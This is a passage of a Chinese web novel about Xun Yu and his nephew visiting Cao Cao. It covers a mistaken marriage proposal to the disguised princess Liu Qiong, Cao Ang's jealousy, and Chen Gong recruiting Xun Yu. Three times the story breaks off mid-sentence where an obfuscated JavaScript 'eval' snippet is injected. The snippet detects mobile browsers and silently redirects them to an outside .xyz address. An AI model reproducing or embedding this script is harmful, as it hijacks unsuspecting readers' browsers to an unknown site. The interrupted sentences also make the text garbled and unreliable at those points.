却说荀彧带着侄儿荀祈入了东郡,并未立刻去曹府见曹操,而是寻了一处馆舍安顿,随后派人去曹府送了谒贴,通报名姓来历,并约在两日后登门拜访。 曹操看了谒贴后,大喜过望,当即回信应允,又亲去正院见丁夫人,嘱咐她好生准备宴席所需,两日后款待客人,绝对不能怠慢。 颍川荀氏多谋主,而他曹操现在最缺的就是人才。 而且这次来的还不是一般人,而是少有才名,曾被南阳名士何颙誉为‘王佐之才’的荀彧,只要一想到这点,曹操便高兴的什么似的。 丁夫人听说荀彧有此等才能,顿时心中一动,不由得开始游说曹操,希望他能让儿子曹昂一起参加宴会。 理由也是现成的,荀彧在谒贴中说,自己要带侄儿前来,那他们做东道主的,自然也该让同龄人与之同席才好。 曹操一想也是,况且曹昂乃是他的长子,也的确应该多见见世面,看看当今名士的风采。 若自己儿子真能与那荀氏儿郎结为好友,那对他招揽荀彧也是大有裨益的。 思及此处,曹操十分爽快的答应了,于是乎,曹昂就接到了来自父亲母亲要他两日后准备待客的吩咐。 彼时这个消息传来的时候,他正在刘琼那儿陪她看账本,一听荀彧带着侄儿要来登门拜访,刘琼的注意力瞬间就被吸引过去了。 “素闻颍川多才子,这个荀彧又有王佐之才的美誉,还做过我家的守宫令,想来现在年纪应该不小了吧,说不定还留着一把长胡须呢。”她笑着打趣道。 “妹妹说笑了,听说荀家叔父比我父亲还小八九岁呢,粗略算来,如今应该还不到而立之年。” “至于留着胡须嘛,这一来是当世风俗,二来也是君子容止的体现,就如同玉佩一般,轻易不得损毁。” “况且文人雅士多蓄疏朗之须,并不影响观感。” “颍川荀氏又多英才,其学识和容貌都是士族中的一流存在,荀家叔父又是家中翘楚,想来即便蓄须,也必是个美男子的。”曹昂耐心的解释道。 “原来是这样啊。”刘琼若有所思。 “那他这次带来的那个侄儿是不是叫荀攸的?听说他比荀彧这个叔父年纪还大呢,这是真的吗?”随即她便继续兴致勃勃的追问道。 “并非如此。”曹昂摇了摇头。 “这次荀家叔父带的侄儿是叫荀祈的,乃是他堂兄的长子,和我年纪相仿。” “不曾听闻他带荀攸前来,妹妹何故问起此人呢?”他有些疑惑道。 “先前我在家里,听说荀攸此人曾任黄门侍郎,还曾参与刺杀董卓,后因此下狱,董卓死后弃官隐居,想来定是个忠义之人,故而有此一问。” “不想此次随荀彧一起来兖州的荀家子弟竟不是他,不能一见,当真遗憾啊。” 刘琼听曹昂这么说就知道,现实和她的记忆再一次出现了偏差,好在她反应够快,言说自己是因敬佩对方品德所以才会相问的。 “原来如此。”曹昂一听这句,果然不在追问,反而安慰起她来。 “妹妹不必灰心,若两日后的宴会顺利,那荀家叔父必然会投到父亲麾下,届时请对方加以引荐不就好了?”他给她出主意。 “你说的不错,荀彧的确能做到这点。”刘琼非常相信对方的能力。 考虑到后来曹魏阵营的许多人才都是荀彧推荐来的,刘琼觉得,自己非常有必要在曹操之前拉拢住对方。 而两天后的宴会就是契机,可怎么才能说服曹操让自己也去参加呢? 刘琼心中百转千回,最后还是把主意打在了曹昂身上。 “你方才讲,那荀彧是个美男子,又说他家人才辈出,那想来他带来的那个侄儿也必然如他一般才貌双全了。” “好哥哥,不然你带我去开开眼界吧,让我也瞧瞧荀家儿郎的风姿气魄如何?”刘琼抓住他的衣袖晃了晃,眼神亮晶晶的请求道。 “……”,若是换成以往她这般撒娇,曹昂早就同意了,可今日他脸上却满是犹豫。 “怎么?可有什么不妥之处?”刘琼不明所以,轻声询问道。 “好叫妹妹知道,并非我不愿答应,而是荀家儿郎毕竟是外男,这又是初次登门拜访,若贸然引家中女眷与之相见,只怕礼节习俗上有些不太妥当。” 曹昂跟她解释缘由,嘴上说是不合礼仪,可眼神却有些飘忽,并不敢与她对视,显然是心虚。 “可是去年重阳节,你不也单独引我去见了陈宫吗?当时你也没说不合礼节啊,如何现在我便见不得荀彧了?”刘琼皱了皱眉,有些疑惑道。 “此一时,彼一时,若只有长辈,那我自然没什么好说的,可这次那不是还有……” 曹昂被她这么质问,脱口而出就是一句大实话,可还没说完呢,他就反应过来了,有些讪讪的住了口。 “我的意思是,我是想说,我……”,他支支吾吾了半天,却又说不出个所以然,可刘琼却已然明白过来了。 “奥,我知道了,你是担心那荀祈长得比你俊,又比你有才华,你怕被他比下去,丢了脸面,是不是啊?” 她明白他这是怎么回事了,但却故意不点破,而是变着法的刺激他。 “谁说我怕他了?连个照面都没打呢,怎么你就认为他会比我好?”曹昂受不住,果真再次出言反驳道。 “好哥哥,你今天吃饺子的时候蘸醋了吗?”刘琼却冷不丁的问了一句这个。 “蘸了啊,怎么了?”曹昂不明白话题为何跳跃这么快。 “那应该蘸的挺多吧,不然怎么现在说话还酸溜溜的呢?”刘琼强忍笑意打趣道。 “……”曹昂先是一愣,随后便涨红了脸。 他在感情方面是有些迟钝,但他又不傻,听到她说这话,哪里还能不明白,眼前这小丫头又在调戏自己了。 思及此处,脸也更红了些,也不知是羞的多一些,还是气的多一些。 “……我不与你讲了,我找母亲去。”愣了半晌,最后他才憋出来一句这个,且抬脚就要走。 “你瞧你,都多大的人了,才说你几句就要告爹娘,羞是不羞?”刘琼却一把拽住他的衣袖不让他走。 “我不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759073|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要去告状,是替你去问问有没有什么法子去赴宴。”曹昂却辩解道。 “……好哥哥,原是我误会你了,那咱们一块去吧。”这下换刘琼不好意思了,挽住他的胳膊,便要随他一起离开。 “……”,眼看她这般上心,曹昂心里更是堵得慌。 可谁让他方才把话说出口了,现下想反悔也难,没法子,只得带着她一起去了正院见丁夫人。 两人把来意一说,丁夫人看看这个,又看看那个,公主唇角是压不住的笑意,而自己儿子脸上却满是委屈。 再联想到此次赴宴要接待的客人们,几乎不用费什么思绪,丁夫人就把两小只闹别扭的来龙去脉梳理了个七七八八。 可她却并没有选择立刻开解儿子,反而很痛快的答应了公主的要求,言说自己一定带她去赴宴,也看看那荀家儿郎是何等的少年英才。 刘琼闻言自是高兴,但曹昂就更难受了。 丁夫人看出端倪,心知儿子这是生闷气呢,但她也不打算插手,又或者现在这种情况根本就是她喜闻乐见的。 这些日子,曹昂一直在逃避自己的感情,丁夫人明里暗里说了几次都不行,眼下有个外人出面刺激刺激他也好,不然他永远也意识不到自己的心。 至于公主的心思,丁夫人敢以过来人的身份做保,绝对是对她儿子有意的。 至于答应公主去见什么荀家的儿郎嘛,那完全就是丁夫人的权宜之计罢了。 反正她觉得这次是万无一失了,可千算万算没算到,宴会当天还真出大事了。 本来一切都很顺利的,曹操和荀彧相谈甚欢,而曹昂作为家中长子,尽管心里别扭,但也未曾失礼,和荀祈这个同龄人交谈时,相处也算和睦。 可谁能想到啊,这酒过三巡,菜过五味,席间气氛正好的时候,荀彧提议等上巳节那天,请府上的女公子和大公子一起去踏春游玩,还说自己会让侄儿荀祈做陪。 这话一出,无论是正堂的曹操曹昂,还是屏风后面的丁夫人刘琼,都明白这是有结亲的意思了。 那上巳节是什么节日,众人都心知肚明啊。 曹操倒没什么不愿意,他想着自己的长女曹节也是时候相看人家了,如果能和颍川荀氏结亲,那也是门当户对。 况且荀祈生的一表人才,谈吐不俗,可堪良配。 最重要的是,一旦这桩婚事成了,那荀彧这个大才自然也就跑不了了。 曹操想着,无论怎么算,自己也不吃亏,便很痛快的答应了此事。 可此时荀祈却和曹昂套起了近乎,言说前两天他们入城的时候,曾在郊野的工场门口看到过曹昂和他妹妹,希望上巳节那日大家一起出游时能相处和睦。 曹昂却第一时间发觉了不对,自己根本没带亲妹妹去过郊野工场,倒是别的妹妹有且有一个。 当他意识到荀家叔侄说的结亲人选是谁的时候,当下脸色就变了。 “不行,我不答应!” 他脱口而出就是一声拒绝,因为音量比较高,态度也十分强硬,几乎是瞬间就把所有人的目光吸引了过来。 31.一语双关 曹操大摆宴席,本意是想招揽荀彧荀祈这叔侄两个的,恰逢后者也投桃报李,有意与他家结亲,这正是喜上加喜。 却不想阴差阳错之下,荀祈看上的所谓女公子,竟然是刘琼,曹昂闻言自是不肯,冲动之下,当即拒绝。 现场那其乐融融的气氛瞬间被打破,众人的目光投过来的同时,丝竹管弦之声也随之停止。 “父亲,孩儿有事禀报。”但曹昂却并没有停止,反而起身站起,直奔坐在上首处的曹操。 但好在他还知道分寸,并没有在大庭广众之下戳破刘琼的身份,并以此回绝荀家,而是凑到父亲曹操的耳边低语了几句。 “……”,当曹操听到荀彧他们很可能把万年公主认成了自己的亲女儿,而要来提亲的对象也是公主的时候,顿时这脸色就变了。 虽然这事儿看起来就是一场误会,但他毕竟已经答应了荀彧他们,现在要反悔,恐怕会留下不好的印象。 可让他将错就错,他既不能,也不愿。 不能是因为刘琼乃是皇家公主,她的婚事理应由皇帝亲自赐下,而不是由他这个臣子开口。 而不愿则是因为曹操早就被丁夫人说动了,希望将来能让自己儿子迎娶公主,留住这只金凤凰在曹家。 可也因为后者是私心,并不能宣之于口,更别说现在公主就在屏风后面坐着,在没有绝对的把握之前,他是不会在公主面前提及此事的。 “夫人,我们既然已经应了上巳节邀约,那不如早些去告诉节儿一声吧,这孩子性子活泼,一直盼着出去玩呢。”思及此处,曹操清了清嗓子开口了,又给丁夫人使了个眼色。 “夫君说的是,那我这就去告诉节儿。”丁夫人和曹操多年夫妻,如何不知他这是在支开自己,顺势就笑着把话接了下来。 “琼儿也一起去吧,你们表姐妹素来亲近,出去游玩也好有个伴儿。”曹操又补充了一句。 “那就多谢姑父了,姑母,琼儿和你一起去找节儿妹妹吧。”刘琼自然也听出了什么,笑着挽住丁夫人的手道。 “也罢,那我就带琼儿先过去,失礼了。”丁夫人从善如流的说着话,两人便一同起身离开了。 “春来花园风景如画,昂儿,不如你带客人去观赏一番吧。”曹操又转头对曹昂道。 “诺。”曹昂自是点头应下。 “荀兄,请吧。”他随即走到荀祈面前,抬手做了一个‘请’的姿势。 可荀祈却只顾望着刘琼离去的背影,根本没注意到别的。 他没发现不妥,但荀彧却敏锐的察觉到了不对。 不管是曹操话里的表兄妹,还是方才那女公子对曹操和丁夫人的称呼,亦或是自己侄儿现在这种痴痴的状态,无一不在表明他们似乎搞错了什么。 “祈儿,既然明公发话了,那你就随大公子一起去花园赏景吧。”于是乎,荀彧当机立断,催促道。 “啊?啊,是。”荀祈这才回过神来,连忙行礼答应着。 等他们也离开厅堂后,曹操又屏退了左右侍奉的仆从们,如此一来,房间里便只剩下他和荀彧两人了。 “明公,方才那位姑娘,难道不是贵府的女公子吗?”于是乎,荀彧也就开门见山的直接问了。 “自然是的,但却不是我的亲生女儿,而是昂儿生母家的侄女,因她年幼失怙,无人教养,这才接了来的。”曹操面不改色的说出了自己一直重复的谎言。 他是想招揽荀彧不假,可如今荀彧还未拜他为主公,双方也未有密不可分的利益姻亲关系在。 而公主的身份又是绝密,那他自然不可能现在就与荀彧推心置腹,实话实说。 “那这位女公子和大公子之间除了表兄妹关系外,是否还有其他的牵扯呢?”荀彧没有质疑曹操的话,反而试探性的问出了另一个问题。 刚才曹昂的不对劲,那都已经摆在明面上了,也由不得他不多想。 “文若勿怪,这原是我夫人的不是,她一向疼爱昂儿,又喜琼儿的人才品貌,两个孩子也很是投缘,我那夫人也就难免有些想法。” 曹操直接把锅甩到了丁夫人头上,反正当初联姻的事也是她先提的,如今他这般描述,也不算冤枉了她。 “既如此,倒是我们荀家唐突了。”荀彧闻言眸光一闪,“只是不知来日我能否有幸喝一杯大公子的喜酒啊?”他笑盈盈的询问道。 “文若要来,这酒自然是齐备的。”曹操痛快的点了点头。 “那我就先行恭喜明公了。”荀彧听到这儿,心下的疑惑更甚,但却没有表现出来,依旧笑着回应。 “同喜,同喜。”曹操亦是笑着举杯敬他,想着总算是糊弄过去了。 他正打算再行招揽之事,却不想荀彧却借口不胜酒力,准备告辞,曹操纵然心里不舍,但也按捺住了,亲自送其出门。 许是看到了曹操的诚意,又或是有别的考量,荀彧并未把话说的太死,只道改日再来拜访。 曹操见状,自是大喜过望,连连表示他无论什么时候过来,这里都扫榻相迎。 曹操的诚恳态度和求贤若渴,也让荀彧心中欣赏不已,但没有弄清楚自己的疑惑之前,他不打算投效对方。 而另一头,曹昂即便再怎么生气于荀祈的妄想,也不得不承认,这是不知者无罪。 也因此,他克制了自己的情绪,尽量以平稳的语气告知对方,刘琼乃是自己的表姐妹,恐不能与之结亲。 荀祈听到此等内情,又想起席间曹昂的激烈反应,几乎是瞬间就猜到了他的小心思。 荀祈本想追问,可偏偏这时候自己叔父荀彧和州牧曹操一同来到了花园里,并言说告辞。 没法子,荀祈只得跟着叔父一起离开,曹操带着曹昂亦是送他们到门口。 也是巧了,他们出门时,正巧碰到陈宫带着公文前来,双方又是一番见礼与寒暄。 许是要炫耀,亦或者是想引起陈宫这个白月光的嫉妒,曹操竟是公然宣称荀彧乃是‘吾之子房也’,荀彧自然是谦虚的说自己不敢当。 可陈宫看他们两个的眼神,特别是看曹操的眼神,当时就不对了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773364|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过他也没立刻发作,而是借口有事求见女公子,当即抛下众人独自进府去了。 曹操还以为自己的计策得逞,还在那儿沾沾自喜,殊不知,荀彧却更加怀疑起刘琼的身份来。 不为别的,就为刚才陈宫那一句拜见。 陈宫可是兖州从事,位高权重,而刘琼现在明面上的身份却是借住在曹府的孤女,可偏偏陈宫却说是去拜见,这又如何不让荀彧心生疑惑呢? 他这边是各种疑虑,但荀祈那边就是各种心急了。 等回到馆舍后,都来不及休息,荀祈便立刻发问。 “叔父,曹公不肯许婚是不是?” “谁跟你说的?”荀彧却不答反问道。 “那曹家大公子看她的眼神和我是一样的,对方的心思全都写在脸上,哪里还用说出来?”荀祈咬了咬下唇。 “曹家的确有意把这位女公子许给大公子,只是我总觉得,这里头有些蹊跷。”荀彧皱了皱眉。 “什么蹊跷?无非就是少年慕艾,还有就是父母想要亲上加亲罢了。” “那曹家大公子亲口跟我讲了,他们两个是表兄妹,又是青梅竹马,将来也要长长久久在一块的。”荀祈越说心里越难受。 “他们虽是表兄妹不假,但那女公子可不是丁夫人的侄女,曹公亲口所言,那姑娘是大公子生母娘家的侄女,因年幼失怙,这才接到家中教养的。” “可据我所知,大公子的生母乃是曹公的妾室,对方的娘家想来也不是什么名门。” “这位女公子又双亲皆无,根本不能为大公子带来家族助力,如何曹公却道属意她为大公子的正妻呢?”荀彧把已知线索梳理了一遍,可却越发觉得奇怪。 曹操虽然说这都是丁夫人的意思,但他却觉得有哪儿不对劲。 曹昂可是曹操的长子,他的婚事怎么可能任由丁夫人做主,更别提选的还是这么一个无依无靠的孤女。 “那想必这事儿还有回旋的余地了?”荀祈听到这儿,顿时眼前一亮。 “不好说,不好说啊。”荀彧为难的摇了摇头。 他想起曹操邀自己喝喜酒的模样,又觉得此事不似作假,而陈宫的表现更引人生疑,这一切的一切仿佛笼罩着一层迷雾,而症结点就在那个女公子身上。 “什么不好说啊,等上巳节那天,我就亲自去跟女公子说,一旦她知道曹家不肯聘她为妻,那必然会选择我的。”荀祈却没想那么多,只一门心思想要达成所愿。 “那你就去接触一下女公子吧,顺便看看,她到底是什么人。”荀彧听到这儿,看了他一眼后,一语双关道。 “嗯。”荀祈连连点头,但却未曾听出对方的言外之意。 荀彧见侄儿如此,不由得暗自摇头,心想这事不能全部寄托在他身上,自己也需得暗中调查一番,还得找个可靠的人问询。 最好对方和曹操不是一条心,那样方能问出实话来,思及此处,荀彧的脑海里瞬间闪过陈宫的身影。 而他不知道的是,这会儿陈宫也正和刘琼提起他。 32.招揽荀彧 陈宫欲要求见刘琼,但却被追上来的曹操拦住。 许是看出他生气了,曹操忙出言宽慰,又道刘琼这会儿随自己夫人正在后院,不方便见客,陈宫这才止住了脚步。 慢了一步的曹昂赶来时看到此等场景,赶紧上前打圆场,并答应一会儿带陈宫去见刘琼,这才挽回了糟糕的局面。 可陈宫现下心情极度不好,也不太想给曹昂面子,等和他一起去见了刘琼后,便出言挤兑了两句。 曹昂眼看对方正在气头上,也不好硬顶,只能讪讪的站在一旁赔不是。 刘琼见状,便示意曹昂稍安勿躁,随即她好言好句宽慰了陈宫几句,又邀请他到花园赏景,这才总算消弭了这场没有硝烟的战争。 他们要去后花园,曹昂也想跟去,但刘琼却示意他不要来,以免刺激到陈宫。 她又给了慧儿一个眼神,后者当即上前劝说曹昂与其现在凑上去惹得大家都不痛快,倒不如先退让一步,回头再做解释。 曹昂心想也是,于是乎,大家暂时达成了一致,他留在了厅堂里等,慧儿守在一旁。 而后花园的凉亭里,刘琼和陈宫相对而坐,伺候的侍女也都被支开,如今只他们两个而已。 “女公子,我早就说过,曹孟德此人根本不可信。” “他竟敢公然宣称荀彧乃‘吾之子房也’。” “如果荀彧堪比留侯张良,那他曹孟德岂不是成了我大汉的高祖皇帝?” “简直其心可诛!”眼看四下无人,陈宫再也压制不住自己的怒气,恨恨道。 “或许是他觉得,荀彧的才华可堪与留侯张良相比吧。”刘琼却避重就轻道。 “你刚才也和荀彧打过照面了,说说看,你觉得他怎么样?”她话头一转,询问起了其他。 “相貌堂堂,谈吐文雅,不负王佐之才的美誉。” “只是他竟与曹孟德这等小人相谈甚欢,恰似明珠暗投,可惜非常啊。” 陈宫看不上曹操的为人,但又不得不承认荀彧的才名,可刚才见荀彧和曹操互相吹捧,他心里又不痛快,故而有此评价。 “既然觉得可惜,那何不把这颗明珠捞到我们怀里呢?据我所知,他现在还未投效曹操啊。”刘琼如是说。 “女公子的意思是?”陈宫一愣,有些不确定的询问道。 “没错,我要你去招揽他。”刘琼给出了肯定的回答。 “可他出身颍川荀氏,乃是士族高门,我这样的身份,恐怕很难让他归心啊。”陈宫皱紧了眉头。 “那就用我的身份,他总不会拒绝为国尽忠吧,如果他是个真君子的话。”刘琼说到这儿,从袖中取出了一张帛书递给他。 “……”,陈宫接过去打开看了一眼后,又立刻将其合拢,并赶紧揣到怀里放好。 “女公子放心,我一定竭尽全力办好此事。”他信誓旦旦道。 “把事情办好自然很要紧,但更要紧的是保密。”刘琼却提醒他要谨慎行事。 特别是现在他们都在曹操眼皮底下呢,要搞小动作,可得小心着。 “女公子说的是。”陈宫对此也深以为然。 “过两日就是上巳节,你若不能在那之前说服荀彧,那我就只好另辟蹊径,从他侄儿那儿入手了。” 说着,她便把刚才宴席间发生的事讲给陈宫听,随后又向他表明,自己还有备选方案可以使用。 总而言之一句话,无论如何,一定要拉拢住荀彧,哪怕要她亲自上阵使美人计,那也在所不惜。 “女公子,不过是一个荀彧罢了,何至于此啊。”陈宫听出了她的言外之意,不免惊讶万分。 “当年高祖皇帝可是用了一座城池才换来了张良辅佐,如果这个荀彧果真有张良的本事,那我略微牺牲一下又有何妨?”刘琼却冷静的很。 “可若是通过荀祈来接近荀彧,只怕会委屈了女公子啊。”陈宫还是不太赞同。 “此事我自有分寸,伯父且放宽心就是。”刘琼却胸有成竹。 在她看来,所谓美人计的精髓就在于欲擒故纵,并有针对性的设置情节。 要以色为钩,以情为引,若即若离,若隐若现,让对方看得见,却摸不着,但又心甘情愿的被人所驱使。 这就好比之前司徒王允派貂蝉去离间吕布和董卓,在此期间,起主导作用的反而是貂蝉,而吕布和董卓不过是被她所牵引的棋子。 虽然这个比喻不太恰当,荀彧荀祈两人也和董卓吕布之流截然不同,但刘琼觉得,整体框架应该是差不多的,只是具体操作上有所不同而已。 这当然是因人而异,就像她说的,要有针对性的设置情节。 董卓吕布皆是爱色之人,所以貂蝉以美色相诱惑,两人尽皆上钩。 而荀彧与荀祈却是士族子弟,且看起来很有风骨,那么他们喜爱的可能就不只是外貌,还有内在。 这后一种情况反而比前一种难上手,不过相应的,后一种的危险性也比前一种要小。 刘琼也不是真的要出卖美色,只是以此为由,吸引对方罢了,她真正的目的是要他们投效自己,那么这个度就必须拿捏好了。 当然了,这一切的一切,都是为了陈宫未曾拉拢住荀彧而准备的后手,如果他成功达成目标,那么事情就不用这么麻烦了。 这一点,刘琼明白,陈宫自己也明白。 为了不让公主亲自下场,陈宫觉得自己无论如何都得说服荀彧,如果说服不成,必要时刻用点别的手段也不是不行。 就这样,两人心照不宣的达成了一致。 上巳节那天很快来到,刘琼,曹昂,曹节,荀祈一起去郊外踏青游玩,曹操和丁夫人也去了。 上巳节虽然是男女定情的节日,但也没有说夫妻之间不能浪漫浪漫,况且曹操还有意撮合荀祈和自己的女儿曹节呢,又怎么能不在场呢。 至于荀彧,他并未跟去,而是称病留在了家里,当然,这只是托辞,真正的原因则是他收到了陈宫的邀请,后者约他到家中一叙。 正好荀彧心中也有疑惑需要询问陈宫,双方简直一拍即合。 也就在上巳节当日,陈宫在自己家中接待了荀彧,简单的寒暄过后,两人便直奔主题了。 “公台兄,我这人不轻易交友,也不轻易树敌,在没有得到确切消息之前,更不轻易投效。” “这既是我们颍川荀氏的立身之本,也是我个人的处事原则。” “在来兖州之前,我已经听说了许多有关曹公的事,但现在,我更想听听你的看法,你觉得曹公如何?” 荀彧先表明了自己不偏不倚的态度,随后便开始发问了。 “曹孟德此人,乃是伪君子,真小人也,可用,却不可信。”陈宫言辞犀利的评价道。 “哦?何以见得呢?”荀彧不置可否,反而问他根据是什么。 陈宫也不忸怩,直接把当初曹操杀害吕伯奢一家的事讲述了一遍,他是亲身经历者,可信度自然提高不少。 “这只能证明曹公他私德有亏,但他刺杀董卓,聚众讨贼,平定黄巾,皆是为国尽忠,可称大节无损。” “荀彧以为,单凭此事,并不足以把‘伪君子,真小人’这六个字按在曹公身上。”荀彧摇了摇头,一脸正色的为曹操辩驳道。 “你得出这样的结论,只能证明你根本就不了解他。”陈宫嗤笑一声。 “你以为他是在为国尽忠,可他的所作所为,哪个不是为了他自己?” “曹孟德此人本来无名,无财,无兵,更无地。” “可刺杀董卓,聚众讨贼使他声名鹊起。” “而纺织工场,制盐工场则为他带来无数钱粮。” “平定黄巾,治理兖州,又令他有了人口和土地。” “那么距离他拥兵自重,割据一方,还需要多久呢?” 陈宫并不是危言耸听,而是在叙述一个事实,而荀彧也没能找到什么可以指摘的地方,至少现在没有。 “但这些并不能直接说明曹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782157|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公心术不正啊,毕竟,大多数诸侯都是这么做的。”没办法,荀彧只能从做事动机不明这一项上为其辩解。 “没错,大多数诸侯都是这么做的,比如袁绍,袁术等人。” “可怎么不见文若兄你去投奔这些人呢?想来你心里也明白他们是什么货色吧。” 陈宫这话说的很不客气,但荀彧并没有反驳。 因为在他心里,也是看不起袁家两兄弟的为人的,不然他也不会离开袁绍,试图投奔曹操。 “我还是觉得,曹公比袁氏兄弟更好一些,不然公台兄又怎么会在曹公账下效忠于他呢?”荀彧抿了抿嘴唇,到底还是为曹操说了句好话,还拿陈宫自己做例子。 “谁告诉你,我效忠的人是他了?”陈宫却冷笑一声。 “陈宫此生只愿为护国安民而活,若真要投效于人,则必是大汉正统,先帝的亲骨肉,他曹孟德不过一小人,何德何能值得我投效?”他非常不屑。 “嗯?”然而荀彧却觉得十分疑惑,“先帝的亲骨肉?莫非公台兄是效忠于当今陛下吗?” “那又为何就任于兖州,而非去长安呢?又或者,兖州有贵人在此不成?”他敏锐的察觉了不对。 “兖州的纺织工场和制盐工场的来历,文若兄真的相信是曹孟德夫人的嫁妆吗?”然而陈宫却不答反问。 “……似乎确有不妥,难道公台兄知道内情?”荀彧迟疑了一下。“是和先帝的骨肉有关对不对?” “是谁?是谁在兖州?哪位诸侯王?”他正襟危坐,身子微微前倾,十分严肃的追问道。 “谁说一定是诸侯王了?”陈宫没有正面回答。 “文若兄,你我接下来要谈论的,很可能会涉及身家性命,我想我们之间至少应该有个承诺,你觉得呢?”他用右手食指轻轻敲了敲桌面。 “我现在就可以发誓,我……”,荀彧为了得知真相,迫不及待的就要表态。 “口说无凭,立字为据。”然而陈宫却根本不听他说完,就立刻从身后端出一个托盘推到他面前。 荀彧低头看了一眼,只见上面笔墨纸砚齐全,对方显然是早有准备。 “……如果我写下承诺,那么,我会得到什么呢?”荀彧拿起了笔,但却看向了陈宫。 “真相,以及我的承诺。”陈宫毫不犹豫的回答道,“用印的那种。”他加重语气强调了一句。 “公台兄做事果真滴水不漏,也罢,左右你我都自诩为大汉忠臣,今日我便舍命陪君子,应下这份承诺。”荀彧思虑再三,还是答应了。 等他写好又用了印,陈宫拿过来看过,确定可以用做把柄后,终于满意的点了点头,并从怀中掏出一张帛书递给他。 “……”荀彧半信半疑的接过去,可才看了一眼就感觉瞳孔地震,猛的将其合上。 可又担心看错了,再次展开来看,几次三番之后,他才小心翼翼的将其叠好,并放进怀里贴身保存。 “公台兄,你这人可不厚道啊,如我所料不错,这个特殊的印章,应该没有在什么刘姓诸侯王手里吧。”荀彧心里依旧七上八下,不由得出言试探。 “我怎么不厚道了?按我大汉的规矩,长公主位比诸侯王,难道不是吗?”陈宫却淡定的反问道。 “……”,此话一出,荀彧还真没法反驳。 而且现在他也终于解开了这两日的种种疑惑,曹府的那位女公子,十有八九就是万年公主。 如此一来,也就能解释为何曹操说愿意为自己长子聘她为妻了。 万年公主可是先帝的幼女,当今陛下的亲姊,那自然不愁嫁,更别提这会儿传国玉玺还在公主手里,那肯定更受人追捧了。 那些纺织工场和制盐工场的方子,估计也是万年公主从宫里带出来的。 可要是这么一想,那曹操最近的种种行为可就彻底变了味儿了。 荀彧越是细琢磨,脸色就越不好,陈宫看到这一幕,却暗自窃喜,也更有把握将其拉到自己的阵营里了。 33.相互试探 三月三,上巳节,乃是大汉固定的青年男女定情之日,踏水游玩,采摘芍药,都是必备项目,结伴出行的少年少女们,也都明白是怎么回事。 但这其中却不包括曹节。 这姑娘比刘琼还小一岁呢,她虽知道上巳节与众不同,但也没多想什么,反正离她及笄议亲还早呢,这趟就纯粹抱着出来玩的心思。 而与之相对的,她的长兄曹昂就显得很紧张,特别是荀祈在一旁不断的给刘琼献殷勤,他又插不上嘴的时候。 其实刘琼也并不是很喜欢听荀祈说话,只是碍于某些原因,不得不维持着脸上的笑容罢了。 可这却给了曹昂一种错觉,那就是她似乎与荀祈这家伙相谈甚欢,也使得他心里好似打翻了醋坛子似的,酸的不行。 四个人中,大概只有曹节无忧无虑,一会儿玩水,一会儿采花的,其他三人之间则弥漫着一种说不清,道不明的气氛。 好在慧儿的到来及时打破了这种尴尬,她走到刘琼身边耳语了几句,大意就是陈宫那边托人来报,一切顺利。 听到这儿的刘琼就知道,陈宫必然已经说服了荀彧,还拿住了把柄,不然不会说出如此肯定的回答。 既然已经达到目的,得了荀彧的投奔,那么荀祈就显得可有可无了,至于美人计,更是不必开展,至少他还不够格。 不过荀祈也算是个可造之材,所以秉承着蚊子再小也是肉的原则,刘琼也愿意跟他时不时的说上两句话。 但更深层次的利益乃至姻亲牵扯,那就一句也没有了,反而对凑过来的曹昂显得更为熟稔。 荀祈见他们两人说说笑笑,好不热闹,自己却形单影只,无人理会,心下自是焦急万分。 “女公子,在下想与你借一步说话,不知可否?”眼看他们就要结伴走远,荀祈只得追上去拦住,并对着刘琼行了一礼。 “我与琼儿乃是表亲,并非外人,荀兄有话不妨直说吧。”刘琼还未回答,曹昂便开口了。 “大公子与女公子虽为表亲,但到底隔着一层,有些话不便多言,况且女公子还未表态,如何大公子却这般心急?” 荀祈明知曹昂的心思,但却故意不点破,反而借机怼了一句。 “好哥哥,这就是你的不是了,我等今日出游,乃是应了荀家公子的邀请,既如此,多少也该给人家几分薄面啊。”眼看两人剑拔弩张,刘琼只得打了个圆场。 “荀公子,请吧。”说完也不等曹昂回答,她便示意荀祈跟自己来。 “嗯。”荀祈闻言自是高兴,赶忙跟上,曹昂见状心酸不已,偏生又没什么理由阻止,只能自顾自的生闷气,但眼神却一直追着她不放。 而另一头,刘琼和荀祈走到不远处的河边这才站定。 “不知荀公子想与我说什么?”刘琼率先发问。 “也没什么,就是看这芍药开的正好,便摘了一朵,只是不晓得女公子愿不愿意要。”说着话,他便从袖中取出一株水粉色的芍药花递了过去。 “其实荀公子年少风发,如今又随荀家叔父游学四方,将来必能做一番事业,届时不知有多少名门贵女盼着要公子的芍药呢。” 